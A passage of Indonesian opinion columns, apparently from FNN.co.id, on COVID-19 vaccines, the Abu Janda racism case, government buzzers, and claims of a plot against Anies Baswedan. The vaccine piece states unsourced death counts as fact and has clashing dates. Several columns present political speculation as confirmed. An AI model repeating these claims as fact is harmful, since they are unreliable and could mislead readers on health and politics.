Jiangsu juga menunjukkan, tidak ada pejabat pemerintah daerah yang mendaftar untuk vaksin Tiongkok. Laporan Free Asia pada 15 Desember 2020 menyebutkan, setidaknya 17 karyawan Tiongkok di Angola terinfeksi virus Tiongkok, dan sekitar 300 pekerja Tiongkok di Serbia terdiagnosis virus Tiongkok. Bagaimana dengan Vaksin Pfizer di AS sendiri? Sudah 181 kematian akibat suntikan pertama vaksin Covid-19 di AS. Demikian tulis Dr. Tenpenny, Warrior for the preservation of human DNA (https://t.me/DrTenpenny). Korban Vaksin? Kematian Dr. Gregory Michael, 56 tahun, seorang dokter Obstetri dan Ginekologi di Florida, Miami tengah diselidiki oleh otoritas kesehatan setempat, bersama CDC (Centers for Disease Control and Prevention) dan FDA. Michael divaksinasi Covid-19 produksi Pfizer, 18 Desember 2021, di Mount Sinai Medical Center, tempat dia bekerja selama 15 tahun. Tiga hari setelah vaksinasi muncul titik-titik merah di kaki dan tangan, sehingga segera dibawa ke UGD Mount Sinai Medical Center. Hasil laboratorium menunjukkan bahwa angka platelet (trombosit) dia jauh di bawah normal sehingga Michael langsung dirawat di ICU. Selama 2 minggu di ICU, dengan bantuan para ahli di seluruh negeri, dokter berusaha meningkatkan angka platelet Michael. Namun apapun yang mereka lakukan, angkanya tak bertambah. Selama proses itu Michael dikabarkan tetap sadar dan energik. Namun, beberapa hari sebelum ikhtiar operasi terakhir dilakukan Michael mengalami (hemorrhagic) stroke dan akhirnya meninggal. Pfizer mengatakan, Michael meninggal 16 hari setelah mendapat suntikan pertama vaksin Covid-19 produksi mereka. Namun, Pfizer mengatakan kasus ini “sangat tidak biasa” dan diperlukan kondisi yang parah yang bisa menyebabkan darah tidak membeku, sehingga menyebabkan pendarahan internal. “Hemorrhagic stroke adalah stroke karena pendarahan di otak, umumnya disebabkan oleh pecahnya aneurysm, bukan rendahnya angka platelet,” ujar Arie Karimah, Pharma-Excellent alumni ITB. Menurut Pfizer, hingga hari ini sudah ada lebih dari 5 juta warga AS yang divaksinasi dengan vaksinnya, dan Pfizer memantau dengan ketat seluruh reaksi yang tidak diharapkan (adverse effects) pada setiap individu yang menerima vaksin tersebut. Pfizer masih beranggapan bahwa kematian itu Tidak berkaitan langsung dengan vaksinnya. CDC berjanji akan mengevaluasi kasus tersebut dan akan memberikan update secara berkala tentang apa yang sudah diketahui dan tindakan apa yang akan dilakukan. Pada saat yang bersamaan CDC dan FDA juga tengah melacak daftar efek samping potensial melalui database elektronik nasional, yang datanya berasal dari tenaga kesehatan (nakes) dan produsen vaksin. FDA juga mengakui, umumnya Tidak Mungkin untuk menentukan apakah problem ini benar-benar dipicu vaksin hanya berdasarkan database itu. Karena, efek samping yang dilaporkan kepada FDA bisa berkaitan dengan kondisi kesehatan, obat resep yang sedang dikonsumsi, dan faktor-faktor kesehatan lainnya. Mengutip akun Facebook Arie Karimah (11 Januari 2021), sebuah laporan dikeluarkan oleh CDC Rabu lalu tentang reaksi terhadap suntikan pertama vaksin Pfizer. Hampir 2 juta dosis yang sudah diberikan hingga 23 Desember 2020: Dari hampir 2 juta dosis itu, “hanya” ada 4.393 reaksi yang tidak diharapkan (adverse reactions) yang sudah dilaporkan. Ada 175 kasus yang sedang dipelajari tentang kemungkinan reaksi alergi yang parah, yang bisa mengancam nyawa (reaksi anafilaktik), sangat jarang terjadi setelah dilakukan vaksinasi. Ditemukan 21 kasus alergi, termasuk di dalamnya 17 orang yang Memang punya riwayat alergi. Dari sini disimpulkan, reaksi alergi terhadap vaksin Pfizer termasuk “langka/jarang”, namun kesimpulan ini dibuat berdasarkan data yang masih terbatas. Juru bicara otoritas kesehatan setempat mengatakan: memang terlalu dini untuk mengatakan bahwa vaksin mempunyai efek terhadap kematian Michael. Namun satu hal yang sudah pasti: Michael berada dalam kondisi kesehatan yang baik sebelum divaksinasi. (Bersambung) Penulis adalah Wartawan Senior FNN.co.id.

Almarhum Pak Salikin Idolaku

by Awalil Rizky Jakarta, FNN - Pak Solikin almarhum merupakan seorang tokoh pejuang dari dusun Piyaman, Wonosari. Meninggal pada tahun 2016, foto bersama mas Saat Suharto ini diambil 3 bulan sebelumnya. Rumah almarhum dipakai untuk Kongres HMI (MPO) tahun 1988 selama seminggu, ketika pertanggungjawaban era Eggie dan terpilihnya Tamsil. Aku ketua panitia ketika itu dan Saat salah satu panitia inti. Beberapa hari setelah Kongres usai, pihak aparat rezim marah besar karena kecolongan dan telah mengawasi dengan ketat aktivitas kader HMI cabang Jogja. Aparat kemudian menghukum penduduk dewasa, laki dan perempuan, satu dusun lokasi acara, untuk apel di lapangan seharian. Semua juga diinterogasi untuk memperoleh informasi. Pak Solikin yang merupakan kepala dusun kemudian menjadi tahanan kota tidak resmi selama 3 bulan. Hampir tiap hari, almarhum wajib lapor ke Korem kala itu. Apa kata beliau, lebih dari 27 tahun kemudian, ketika berjumpa Saat dan berfoto di atas. “Pada waktu kalian selesai acara dan pamitan. Aku katakan aku relakan kalian pulang, berpencaran menjadi peluru-peluru perjuangan. Ketahuilah hingga kini harapan itu masih tetap aku panjatkan.” Farid dan keluarga besar HMI yang takziyah, diceritakan tentang berapa hal oleh bu Salikin. Perempuan yang juga luar biasa ini bercerita dengan bangga, "Bapak dipukuli sama tentara dan polisi, tapi tidak terasa, istighfar aja pokoknya.” Dilanjutkan lagi oleh beliau tentang kata-kata almarhum, “Saya bangga dengan anak2 HMI itu. Saya tak tahu apa yang mereka kerjakan selain memberi tempat. Saya hanya tahu mereka berjuang.” Sebagai tambahan informasi, rumah almarhum ini memang sering dipakai LK I dan LK II sebelum kongres itu. Setelahnya tidak bisa lagi dipergunakan, selalu ada aparat yang rutin memeriksa. Bahkan sempat beberapa lama, ada aparat yang ditempatkan di dusun tersebut untuk mengawasi selama alamrhum menjadi “tahanan kota”. Pejuang seperti beliau ini lah yang membuat harapan perbaikan negeri tidak pernah berakhir. Dari desa tanpa penerangan listrik waktu itu, secara sadar membantu anak-anak mahasiswa mengkader diri, dan itu penuh risiko karena “melawan” kebijakan rezim Soeharto. Semoga harapan beliau pada kami yang berkongres kala itu tak sia-sia. HMI (MPO) berutang besar yang hanya bisa dibayar dengan memenuhi harapannya. Beliau ini pula yang menjadi salah satu alasanku untuk tetap berupaya istiqomah. Penulis adalah Citizen Journalism.

Presiden Rasis Jika Abu Janda Tidak Diproses Tuntas

by M. Rizal Fadillah Bandung FNN - Diproses seriuskah Abu Janda setelah ber hahaha hehehe minta maaf? Cukup sampai di sinikah hukum berbicara? Wah keterlaluan. Ini bukan negara minta maaf, apalagi minta wakaf segala. Ini negara hukum yang menempatkan semua berkedudukan sama di depan hukum. Pejabat dengan rakyat kebanyakan itu sejajar. Profesor Guru Besar dengan badut juga sama. Pengecualian hanya kepada oranag gila yang tak bisa dipidana. Tetapi kalau itu gila-gilaan, maka harus menjadi alasan untuk memperberat hukuman. Begitulah cara hukum itu berbicara, dan memandu penyelenggara negara untuk menegakakan kepada semua warga negara. Hukum tegak tanpa harus memandang siapa latar belakang orang tersebut. Hari Senin kemarin, katanya Abu Janda diperiksa Direktorat Ciber Badan Reserse Kriminal (Bareskrim) Polri. Berita yang muncul menyatakan tidak jelas kapan Abu Janda datang ke Bareskrim. Ujug-ujug sudah ada di dalam, dan "sedang diperiksa" katanya. Laporan perbuatan pidana atas dirinya adalah "rasis" dan "penistaan agama" terhadap agama Islam. Masalah sasis dan penistaan atas agama adalah dua delik berat yang mesti dipertanggungjawabkan secara hukum. Sispapun orang . Abu Janda boleh pulang setelah dicecar dengan 50 pertanyaan oleh penyidik. Entah akan ada pemanggilan lanjutan atau tidak? Ditangkap atau tidak? Suka-suka Bareskrim saja. Masyarakat tinggal menonton, apa hasil akhirnya nanti. Toh, dalam kasus penembakan terhadap enam anggota Laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek), Barekrim juga terlihat suka-suka hati. Itu terlihat dari rekonstruksi perkara yang dilakukan Bareskrim terhadap kasus kilometer 50 tol Japek. Arahnya mengikuti keterangan awal yang disampaikan Kepolda Metro Jaya, Irjen Pol. Fadil Imran. Untung saja masih ada Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang melakukan penyelidikan. Hasilnya, walaupun dengan bebrbagai catatan yang cenderung kompromistis, namun Komans HAM yang menyatakan penembakan terhadap empat anggota FPI yang berada di dalam penguasaan polisi dari Polda Metro Jaya sebagai pelanggaran HAM. Kalau tidak, maka polisi menjadi benar selamanya, dan FPI menjadi salah selama-lamanya juga. Banyak pihak berkeyakinan Abu Janda akan kena batunya. Tetapi tidak sedikit juga yang skeptis pada keseriusan Direktorat Ciber Bareskrim memeriksa Abu Janda. Seorang jurnalis senior FNN.co.id, Asyari Usman meragukan. Asyari Usman menulis di FNN.co.id edisi Senin (01/02/2021) dengan judul “Abu Janda Ditangka? Anda Pasti Sedang Mimpi Atau Berkhayal". Judul tulisan Asyari usman ini tentu saja merujuk pada beberapa laporan terdahulu yang telah menguap begitu saja. Dari sudut manapun mengaitkan Natalius Pigai dengan "evolusi" adalah penghinaan yang sangat rasis dan keji. Soal penghinaan dapat dimasukkan dalam klacht delict (delik aduan). Tetapi soal rasisme tentu saja tidak. Demikian juga dengan "Islam arogan" mudah untuk dikualifikasikan sebagai penodaan agama. Ahok saja soal tafsir ayat dikenakan hukuman. Bila terbukti dan terpenuhi rumusan delik, serta dukungan publik yang kuat atas perilaku kriminal Abu Janda, namun tidak diproses Direktorat Ciber Bareskrim sebagaimana mestinya, Padahal Abu Janda adalah bagian dari Istana atau "influencer bayaran", kemudian istana membiarkan, maka istana tidak bisa dilepaskan dari tanggungjawab politiknya. Proteksi otoritatif yang layak ikut menanggung dosa. Undang-Undang Nomor 40 Tahun 2008 tentang Penghapusan Diskriminasi Ras dan Etnis, khususnya pada Pasal 7 mengingatkan bahwa Pemerintah wajib memberi perlindungan efektif kepada warga negara yang mengalami tindakan diskriminasi ras dan etnis. Perlindungan yang dimaksud itu adalah dengan penegakan hukum melalui proses peradilan. Kepolisian itu di bawah Presiden. Presiden memiliki kewenangan memantau dan memerintahkan. Jika tugas yang dibawah kewenangan itu bekerja lambat atau menyimpang, dapat dan harus ditegur. Tidak bisa dengan enteng berkilah "bukan urusan saya". Ada tanggungjawab moral, politik, dan hukum disana sebagai konsekuensi dari statusnya sebagai Kepala Pemerintahan Indonesia. Tanggungjawab Presiden itu berkaitan dengan sikap pembiaran negara "by omission", yakni negara yang tidak melakukan sesuatu tindakan lebih lanjut untuk melaksanakan yang menjadi kewajiban hukumnya. Rasisme seorang Abu Janda atas Natalius Pigai tidak bisa dibiarkan oleh negara. Pemerintah harus hadir untuk memproteksi. Pembiaran menjadi kejahatan yang berkualifikasi sama bagi pemegang otoritas. Abu Janda yang tidak diproses tuntas dalam kasus rasisme, akan membawa konsekuensi pada predikat bahwa Presiden sebagai Kepala Pemerintahan adalah seorang yang rasis. Penulis adalah Pemerhati Politik dan Kebangsaan.

Robohnya Buzzer “Kami”

REZIM ini tampaknya tak nyaman lagi berada di bawah lindungan buzzer. Meski telat, kesadaran rezim tentang keberadaan buzzer yang hanya bikin gaduh, layak diapresiasi. Rezim ini pernah beruntung ditopang buzzer. Di era pertama Presiden Jokowi menjabat, buzzer sangat ampuh menyerang masyarakat sipil di media sosial. Maklum buzzer telah menjelma menjadi makhluk yang serba bisa. Mereka bisa membenarkan perilaku rezim yang salah dan menyalahkan perilaku masyarakat yang benar. Mereka pintar memelintir fakta. Bicara apa saja bisa, persoalan akan "tuntas" oleh mulut buzzer. Dari kontrak Freeport sampai harga BBM dari batubara hingga smelter. Mereka fasih bicara agama, yang tak sepaham mereka labeli dengan sebutan Kadrun. Mereka lancar mendegradasi umat Islam. Memelintir korban penembakan jalan tol menjadi pelaku adalah salah satu kreasi buzzer yang masif. Barisan pendengung ini telah sukses memalingkan sebagian masyarakat Indonesia dari yang benar menjadi salah dan yang salah menjadi benar. Mereka setting sesuai permintaan penguasa. Modalnya cuma gaduh dan keras. Cocok di negeri yang cinta damai yang malas meladeni orang aneh. Dengan mendengungkan kegaduhan secara kontinyu, mereka eksis dan tumbuh subur. Dan nyatanya penguasa sangat menikmatinya sejak 6 tahun yang lalu. Buzzer telah menjadi aset rezim. Buzzer terbukti nyata telah menopang kekuasaan dari guncangan hebat. Benarkah sesuatu yang menguntungkan akan dibuang begitu saja? Jika masih punya uang tentu akan tetap dipertahankan. Maklum tarifnya sangat mahal. Mungkin menunggu gerakan wakaf nasional sukses dulu. Nyatanya, seiring perjalanan waktu, buzzer, influencer, atau pendengung, kini tidak bisa lagi dianggap alat yang efektif untuk menyerang oposisi dan menjilat penguasa. Faktanya terjadi kontraproduktif di masyarakat atas ulah mereka. Apa yang disampaikan pendengung kerap menjadi serangan balik bagi pemerintah. Mereka membela rezim secara ugal-ugalan di luar nalar. Apalagi buzzer kerap melanggar tata krama, etika, agama, dan hak asasi manusia. Maklum, mereka sepertinya ada yang menjamin tidak akan disentuh aparat berwajib jika melanggar undang-undang. Tapi, kini pemerintah sudah sadar dan secara hitungan politik Jokowi tak butuh lagi corong propaganda. Ditambah lagi, Jokowi sendiri mengaku tak punya beban politik di periode kedua ini. Berakhirnya kejayaan buzzer ditandai dengan dilaporkannya gembong buzzer paling radikal, Abu Janda alias Permadi Arya ke Bareskrim Polri oleh Ketua KNPI (Komite Nasional Pemuda Indonesia), Haris Pertama pada Jumat 29 Januari 2021. Ia dilaporkan terkait cuitannya tentang mantan Komisioner Komnas HAM asal Papua, Natalius Pigai yang dinilai berbau rasisme. Di twitternya, Abu Janda mempertanyakan Natalius Pigai yang belum selesai berevolusi. Pernyataan yang sungguh tidak beretika. Hari berikutnya DPP KNPI kembali melaporkan Abu Janda terkait penistaan agama yang menuduh Islam agama pendatang yang arogan. Dukungan terhadap Haris menjebloskan Abu Janda ke penjara terus mengalir. Sejalan dengan tekad Haris Pertama yang sudah bulat dan menyatakan siap mundur dari jabatannya jika Abu Janda tidak ditangkap polisi. Menurutnya ini merupakan pertaruhan marwah KNPI dan harapan masyarakat Indonesia tentang penegakan hukum yang adil adalah dengan ditangkapnya Abu Janda. Abu Janda tak bisa leluasa lagi berulah. Ia kini kena batunya. Mungkin Tuhan mengabulkan doa-doa orang teraniaya yang telah dilecehkan oleh Abu Janda. Saking kesalnya hati masyarakat terhadap polah Abu Janda, banyak yang enggan menyebut nama buzzer bengis ini. Masyarakat lebih suka menyebutnya dengan sebutan “beliau” atau “makhluk ini”. Makhluk yang bernama Abu Janda tak hanya menyakiti umat Islam, belakangan orang-orang yang seirama dengan Abu Janda dalam mengawal rezim ini pun, mulai jengah. Mereka mulai menjauhi. Dukungan untuk menjebloskan mahkluk ini ke penjara juga makin banyak. Tak hanya itu, fraksi-fraksi di DPR RI kecuali PDIP sepakat agar kepolisian menangkap Abu Janda. Partai Nasdem mengatakan polisi harus segera tangkap Abu Janda. Gerindra ingatkan Abu Janda jangan merasa tak tersentuh hukum. PKB mengharapkan Abu Janda diproses polisi, tidak ada toleransi bagi perusak persatuan. PAN meminta polisi segera memproses Abu Janda. PKS mengharap polisi menindaklanjuti arogansi Permadi Arya. Partai Demokrat menyatakan tidak boleh seseorang kebal hukum, termasuk Abu Janda. PPP menyatakan saatnya hukum ditegakkan ke siapa pun. Dari Ormas atau perorangan juga banyak yang berharap kepada kepolisian agar segera menangkap Abu Janda. PP Muhammadiyah mengatakan Abu Janda harus segera ditangkap yang secara jelas keliru menafsirkan Islam. Yenny Wahid mengaku tidak kenal Abu Janda, tetapi Islam mengajarkan kasih sayang sesamanya. Politisi PDIP Arteria Dahlan mengatakan buzzer sudah menjadi antek penguasa kapital dan markus tanah. Mantan menteri KKP, Susi Pudjiastuti memutus pertemanan di medsos dengan Abu Janda. Banyak meme yang beredar, tangkap Abu Janda, tapi jangan lupakan Tragedi KM 50 Tol Cikampek. Dan masih banyak lagi. Apakah Abu Janda legowo? Tentu tidak. Di medsos, ia buru-buru memberi klarifikasi dan meminta maaf kepada ormas NU. Aneh, minta maafnya bukan kepada umat Islam, Natalius Pigai, dan rakyat Papua. Ia meminta maaf hanya kepada NU. Sesuatu yang tidak tepat sasaran. Tidak hanya itu, aktivis 98 siap memberi bantuan hukum bagi Abu Janda. Bahkan menyiapkan 1000 pengacara. Mereka menilai pelaporan Permadi Arya atau Abu Janda atas tuduhan rasisme oleh KNPI, Haris Pertama tidak sesuai fakta hukum dan terkesan memanaskan suasana. Ketua Ikatan Aktivis 98 Immanuel Ebenezer mengatakan akan menggalakkan dukungan kelompok-kelompok pro-demokrasi dan pro NKRI buat Abu Janda. Immanuel menuduh Haris Pertama tidak memiliki kapasitas untuk melaporkan Abu Janda atas dugaan penghinaan terhadap Pigai. Haris diminta cukup melakukan klarifikasi saja ke Abu Janda. Para pendukung Abu Janda tidak sadar bahwa kehadiran makhluk ini tidak ada faedahnya sama sekali bagi kesejahteraan rakyat. Mereka lupa bahwa jika bicara tentang rezim ini adalah bicara tentang utang yang menggunung, pertumbuhan ekonomi yang terseok, dan kemiskinan yang terserak di setiap langkah. Loyalis buta tuli Abu Janda tak bisa melihat jika bicara tentang parlemen hari ini adalah bicara tentang banyaknya mulut-mulut bisu menyaksikan aneka kezaliman, kesewenang-wenangan, dan apatisme. Anak muda zaman dulu bilang,"Emang Gue Pikirin". Apa hebatnya Abu Janda dibela mati-matian? Pengikut Abu Janda juga gagal paham melihat kondisi bangsa ini, dimana jika bicara tentang hukum hari ini adalah bicara tentang ketidakadilan, pilih kasih, dan utak-atik pasal serta penuntasan kasus-kasus korupsi yang terseok-seok. Apa yang bisa diharapkan dalam situasi seperti ini. Rasanya semua jalan menjadi buntu, karena pemerintah yang diharapkan mampu mengatasi keadaan, malah asyik menyusun strategi baru melanggengkan kekuasaan. Kita jadi ingat pesan Habib Rizieq tentang pentingnya revolusi akhlak. Sejurus dengan Habib Rizieq, ahli filsafat Rocky Gerung lebih nyata, tegas, dan lugas menyampaikan solusinya. Saat ini kata Rocky, syarat revolusi sudah terpenuhi. Biasanya sebelum revolusi rakyat masih sekadar olok-olok ke pemerintah. Pilihan ini hanya untuk mengendapkan energi yang tiba-tiba meledak. Kata Rocky, semua syaratnya sudah ada di depan mata kita, yakni ketidakadilan sosial, disparitas, GDP menurun, pendapatan pemerintah menurun, IQ menurun, dan korupsi yang meningkat. Jadi seluruh parameter revolusi sudah terpenuhi. Satu satunya yang naik di pemerintah saat ini adalah utang dan korupsi. Semua rakyat sudah tahu kondisi buruk rezim ini, tetapi mereka hanya bisa mengekspresikan dalam bentuk olok-olok. Sri Mulyani tak luput dari bahan olok-olok. Ia tahu dan dia tidak bisa marah karena tidak tahu harus marah kepada siapa. Kalau mau marah ya marahlah pada meme. Jokowi juga pernah dibikin meme oleh Majalah Tempo. Inilah orkestrasi buruk dari kabinet ini. Demikian kesaksian Rocky Gerung di channel YouTube-nya. Apakah dengan robohnya buzzer, roboh pula rezim ini? Entahlah. Yang jelas mengandalkan mulut dan jari buzzer untuk melanggengkan kekuasaan, tidak hanya bodoh, tetapi memang tidak kapabel. Posisinya lebih rendah atau minimal sama dengan buzzer itu sendiri. (SWS).

Kudeta Partai Demokrat Adalah Salah Satu Cara Menjegal Anies Baswedan

by Asyari Usman Medan, FNN - Musuh-musuh politik Anies Bawedan akan berkerja keras untuk menjegal beliau. Sebab, tanpa survei apa pun, Anies bakal tampil sebagai kontenstan yang sangat kuat di Pilpres 2024. Inilah yang setiap hari menghantui Jokowi dan Megawati serta semua elemen yang tidak suka Anies. Tapi mereka tahu betul bahwa Anies tidak mudah disingkirkan dari Pilpes 2024. Dan sudah terbayang pula bahwa peluang Anies masuk ke Istana sangat besar. Karena itu, mereka melakukan berbagai cara untuk menghadang Gubernur DKI yang semakin mengancam itu. Yang sudah dan terus mereka lakukan adalah upaya masif dan sistematis yang bertujuan untuk menjatuhkan Anies. Menjelekkan nama beliau. Ini dilakukan oleh mesin buzzer bayaran dan media massa penjilat atau media yang pemiliknya tersandera. Ini cara halus. Cara kasar pun dilakukan. Misalnya, belum lama ini ada peristiwa pemutusan kabel mesin pompa air pencegah banjir di Jakarta. Kabelnya sengaja diputus oleh para pelaku yang tak mungkin tidk terkait dengan upaya demonisasi (penjelekan) Anies. Si penjahat pemutus kabel itu bisa jadi paham bahwa kalau mesin pompa air tak bekerja, pastilah masyarakat akan menyalahkan Anies ketika banjir datang. Cara lain menjegal Anies adalah menghambat revisi UU Pemilu. Menurut UU Pemilu yang berlaku saat ini, pilkada DKI berikutnya dilaksanakan pada 2024. Masa jabatan Anies berakhir 2022. Artinya, setelah habis masa jabatan Anies pada 2022, di DKI Jakarta akan ditunjuk pelaksana tugas (Plt) gubernur menunggu pilkada 2024. Semua faksi di DPR, kecuali PDIP, setuju UU Pemuli direvisi. Agar pilkada diselenggarakan pada 2022. Kalau revisi ini sukses, Anies bisa ikut lagi dan sangat mungkin terpilih kembali. Sehingga, beliau bisa tetap punya panggung politik sampai pilpes 2024. Periode kedua sangat penting bagi Anies untuk ikut pilpres. Dengan duduk di kursi gubernur, Anies bisa terus “berkomunikasi” dengan publik selama dua tahun menjelang pilpres 2024. Jokowi dan Megawati bertekad keras mencegah Anies dua periode. Karena itu, mereka tidak mau pilkada DKI 2022. Jadi, “confirmed” (bisa dipastikan) bahwa tujuan mereka menolak revisi UU Pemilu adalah untuk menghadang Anies ikut. pilpres 2024. Untuk menjegal Anies, tidak hanya lewat jadwal pilkada DKI. Aspek kendaraan politik dan dukungan parlementer juga mereka bidik. Artinya, parpol-parpol yang berpotensi mendukung Anies harus mulai “dikerjai” sejak sekarang. Isu kudeta Partai Demokrat (PD) yang muncul kemarin, hampir pasti terkait dengan upaya untuk menjegal Anies Baswedan. Ini bisa ditelusuri dari jejak manuver PD selama ini. Misalnya, garis politik partai Pak SBY ini di Parlemen selalu beroposisi terhadap penguasa. PD sangat logis akan bergabung ke kubu Anies di pilpres 2024 nanti. Mengapa sangat logis? Lihat saja peta yang ada sekarang. Agus Harimurti Yudhoyono (AHY), yang saat ini duduk sebagai ketua umum PD, tidak mungkin akan bersekutu dengan poros Megawati-Prabowo. AHY dan PD jauh lebih natural bergabung ke kubu Anies. Kemungkinan ini sudah dibaca oleh lawan-lawan Anies. Di sinilah benang merah antara isu PD mau dikudeta dan pilpres 2024. Moeldoko, Kepala Staf Presiden (KSP), santer diberitakan ingin mengambil alih partai ini. Kebetulan, ada sejumlah kader Demokrat yang aktif dan yang telah dipecat, yang bisa dijadikan penggerak dari dalam. Seperti dilaporkan CNNIndonesia, Kepala Badan Komunikasi Strategis DPP Partai Demokrat, Herzaky Mahendra Putra, mengatakan sejumlah pimpinan tingkat pusat dan daerah dipertemukan dengan Moeldoko. "Mereka dipertemukan langsung dengan KSP Moeldoko yang ingin mengambil alih kepemimpinan Partai Demokrat secara inkonstitusional untuk kepentingan pencapresan 2024," kata Herzaky kepada CNNIndonesia, Senin (1/2). Jadi, sangat jelas apa tujuan kudeta itu. Yaitu, mengacaukan pencapresan Anies di 2024. Kecil kemungkinan Moeldoko mendapatkan tiket pilpres. Tapi, kalau PD bisa dia kuasai, berarti dukungan politik untuk Anies menjadi lemah. Anies bahkan bisa digagalkan oleh Moeldoko kalau dia duduk sebagai ketua umum PD.[] Penulis adalah Wartawan Senior FNN.co.id.

Raja, Kapan Engkau Sembuh?

by Tony Rosyid Jakarta FNN - Saya ingin mengawali tulisan ini dengan mengutip cerita Sa'di, seorang penyair Persia, dalam karyanya yang diberi judul "Gulistan" . Ketika itu ada seorang Raja Yunani yang sedang sakit. Sakitnya parah, dan kabarnya susah disembuhkan. Oleh tabib, Raja diberi resep, “potong leher pemuda dan dijadikan tumbal”. Ditunjukkan oleh tabib ciri-ciri pemuda itu. Singkat cerita, pemuda itu ditemukan. Kedua orang tuanya diberi banyak yang uang, dan sangat senang. Pengadilan pun membuat keputusan bahwa untuk menyelamatkan Raja, sah nyawa pemuda dikorbankan. Lalu tiba saatnya pemuda itu dihadapkan kepada Raja, dan siap dieksekusi. Ketika di depan Raja, pemuda itu mengangkat kepalanya ke langit, lalu tersenyum. "Dalam keadaan seperti ini, kamu masih bisa tersenyum?" Tanya Raja. Pemuda itu menjawab, "orang tua yang seharusnya melindungi dan merawat anaknya, tetapi justru menjualnya demi uang. Hakim Agung mestinya menjadi tempat pengaduan, tetapi menvonisnya. Dan Raja seyogianya menjadi tempat mencari keadilan, tetapi malah sewenang-wenang. Selain Tuhan, tak ada lagi yang bisa menolongku."Kemana aku harus lari dari cengkeraman tanganmu? Aku kucari keadilan yang bertentangan dengan kekuasaanmu". Kegitu kata-kata pemuda tersebut menutup kalimatnya. Pemuda hanya berharap pertolongan Tuhan. Mendengat kata-kata pemuda itu, hati sanga Raja tersentuh. Raja menangis dan berkata, "lebih baik aku yang binasa daripada menumpahkan darah pemuda yang tidak bersalah". Lalu, Raja memeluk pemuda itu dan mencium kepalanya. Pemuda itupun diberi hadiah dan disuruh pulang. Setelah itu, Raja sembuh dari penyakitnya. Luar biasa sang Raja. Pesan cerita ini sangat patut untuk dicontoi para penguasa. Sebab jika seorang Raja ingin sembuh dari penyakitnya, maka dengarkan anak-anak muda. Peluklah dan sayangi mereka. Sebab, mereka adalah generasi masa depan yang menyelamatkan bangsa dan negara. Anak-anak muda itu sekarang ada di kampus-kampus. Bebaskan mereka dari segala bentuk intimidasi para rektor yang dikendalikan oleh SK Menteri. Anak-anak muda itu juga menyebar di berbagai media. Jangan berangus mereka dengan menyandera para pemilik media. Anak-anak muda itu juga aktif di berbagai organisasi, Lembaga Swadaya Masyarakat (LSM), kelompok-kelompok studi, forum-forum kajian dan pengajian. Jangan habisi mereka ketika mereka datang dan mengingatkan Sang Raja. Karena pasti ada manfaatnya anak-anak muda itu. Biarkan mereka bicara, tanpa tekanan dan rasa ketakutan. Jika mereka takut, lalu bisu dan tak bicara, maka mereka tidak akan bisa menyembuhkan Raja. Hanya mereka yang menjadi obat Raja. Kejujuran, ketulusan dan idealisme mereka adalah obat untuk kesembuhan Raja. Untuk itu, Raja harus segera disembuhkan. Jika Raja sakit, bangsa dan negara juga ikut sakit. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Inilah Musibah Besar Umat Islam

by DR. Masri Sitanggang Medan FNN - Seorang guru besar salah satu perguruan tinggi Islam (tak perlulah kusebut namanya) mengatakan, dakwah di Indonesia telah mengalami kemajuan pesat. Indikatornya, antara lain bahwa pakaian muslim sudah membudaya. Masjid yang dulu diisi para lansia kini ramai oleh kalangan muda. Peminat umroh dan haji sudah ngantri. Zakat-infaq sadaqah dan wakaf berkembang. Begitu juga dengan semangat melakukan ibadah qurban terus meningkat dari tahun ke tahun. Sebagai salah seorang pembicara dalam seminar itu, aku tidak dalam kapasitas membanding dan oleh karenanya aku pun tidak menanggapi pemikiran sang Guru Besar itu. Aku menganggap pikiran beliau tak mewakili para intlektual Islam dan para pelaku dakwah. Soalnya, menurutku terlalu sederhana bila melihat dakwah dengan cara yang disampaikan itu. Tetapi aku agaknya keliru. Setelah beberapa waktu berlalu, kudapati pikiran itu ternyata ada di banyak benak tokoh Islam. Mereka puas dengan capaian dakwah seperti yang digambarkan sang Professor. Ini, tenu saja, mencemaskan kita yang menekuni dakwah ilallah, dan karena itu perlu diluruskan. Apalagi fakta menunjukkan, saat ini, dakwah justeru mengahadapi berbagai cabaran yang kian hari kian berat. Kekeliruan pandangan Sang Professor, dan mereka yang sealiran dengannya, bertitik-tolak dari kkurang tepat memahami hakekat Dakwah Islamiyah. Apa sesungguhnya missi dakwah, dan mana “titik” sebagai ultimate goal, yang akan dicapai? Sederhananya, sebutlah disorientasi. Kekeliruan ini bisa juga dilihat sebagai indikator masih kuatnya pengaruh pemikiran Snouck Hurgronje. Meski sudah merdeka tiga per empat abad, yang diterapkan penjajah Belanda di negeri ini masih saja berlanjut. Islam diarahkan kepada pelaksanaan ibadah-ibadah ritual. Karenanya, itulah yang dianggap tugas dakwah sekaligus ukuran keberhasilan dakwah. Tentu saja kita bersyukur. Bila Dakwah Islamiyah diibaratkan sebuah perjalanan, kita telah meningkatkan, misalnya, kecepatan kenderaan dari 60 km/jam menjadi 80 km/jam sehingga di satu saat tiba di titik yang indikasinya seperti dilukiskan oleh sang Professor. Ada peningkatan kerja. Ada kemajuan yang telah dicapai. Tetapi satu hal yang harus disadari, Dakwah Islamiyah tidak bergerak di ruang hampa. Ada banyak yang bergerak di ruang yang sama, yakni lawan-lawan dakwah, atau sebutlah anti dakwah sebagai sebuah nilai kebathilan. Anti dakwah itu bukan saja berupaya menghambat laju dakwah. Namun berusaha agar dakwah melenceng dari jalurnya. Selain itu, berupaya dan bergerak lebih cepat mendahului dakwah, sehingga atmosfer kehidupan dilingkupi sepenuhnya oleh anti dakwah (kebathilan). Yang demikian itu dimaksudkan agar pada gilirannya cahaya dakwah padam. Tertutupi oleh kebathilan. Jadi, ada perlombaan di situ. Ada kompetisi, bahkan ada pertarungan di situ. Bila menggunakan logika fisika gerak berubah beraturan, peningkatan dari 60 ke 80 km/jam itu hanya akan berarti bila dibandingkan dengan benda diam. Kita seolah bergerak di ruang hampa. Tidak ada yang bergerak. Tetapi jika kita sadari bahwa Dakwah Islamiyah adalah sebuah kompetisi, atau perlombaan pertarungan, dimana yang anti dakwah juga bergerak, maka peningkatan 20 km/jam dari 60 ke 80 km/jam menjadi tidak punya arti apa-apa, jika yang anti dakwah ternyata bergerak dari 60 km/jam menjadi 100 km/jam. Artinya, dakwah Islamiyah bergerak dengan kecepatan minus 20. Tertinggal 20 km/jam dibandingkan yang anti dakwah. Pada saat yang sama, tentu saja capaian anti dakwah (kebathilan) lebih tinggi dari Dakwah Islamiyah. Karenanya, menilai keberhasilan dakwah mestinya tidak dalam perspektif ruang hampa, tetapi di ruang pertarungan. Harus 